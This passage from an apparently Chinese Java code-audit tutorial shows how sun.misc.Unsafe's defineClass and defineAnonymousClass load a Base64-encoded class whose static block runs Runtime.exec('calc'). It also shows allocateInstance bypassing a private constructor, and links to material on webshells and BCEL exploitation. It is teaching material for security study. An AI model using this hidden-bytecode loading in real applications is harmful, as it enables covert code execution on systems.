定义的方法, 这些方法都是由C/C++
底层实现的, 如下:
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6); // 可以加载字节码
public native Class<?> defineAnonymousClass(Class<?> var1, byte[] var2, Object[] var3); // 可以加载字节码
public native Object allocateInstance(Class<?> var1) throws InstantiationException; // 实例化任意类
defineClass 案例
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
byte[] poc = new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
/*
该 Base64 值是如下类的字节码 Base64 后的值
public class CMD {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
} */
Class<?> evilClazz = o.defineClass("CMD", poc, 0, poc.length, ClassLoader.getSystemClassLoader(),
new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, ClassLoader.getSystemClassLoader(), null
));
System.out.println(evilClazz); // class CMD
evilClazz.newInstance();
}
}
运行完毕后, 将弹出计算器.Java 11
开始Unsafe
类已经把defineClass
方法移除了(defineAnonymousClass
方法还在).
defineAnonymousClass 案例
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
byte[] poc = new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
/*
该 Base64 值是如下类的字节码 Base64 后的值
public class CMD {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
} */
Class<?> evilClazz = o.defineAnonymousClass(Class.class, poc, null);
System.out.println(evilClazz); // class CMD/356573597
evilClazz.newInstance();
}
}
运行弹出计算器.
allocateInstance 案例
定义如下类:
public class Cat {
private Cat(){}
}
测试程序:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
Cat cat = (Cat) o.allocateInstance(Cat.class);
System.out.println(cat); // com.heihu577.Cat@1540e19d
}
}
最终可以实例化Cat
类.
Reference
一看你就懂,超详细java中的ClassLoader详解: https://blog.csdn.net/briblue/article/details/54973413
看不懂, 请吃饭 (视频资源): https://www.bilibili.com/video/BV1Gh411v7fv
冰蝎 WebShell 管理工具分析: https://blog.csdn.net/Dokii_i/article/details/135621218
流量特征: https://www.cnblogs.com/-andrea/p/17473499.html
BCEL ClassLoader: https://www.cnblogs.com/CoLo/p/15869871.html
BCEL 调试: https://blog.csdn.net/xd_2021/article/details/121878806
BCEL CTF题目: https://www.jianshu.com/p/0e5e821f5c29
Z3专栏 | Java代码审计之类加载的利用: https://www.freebuf.com/articles/web/317624.html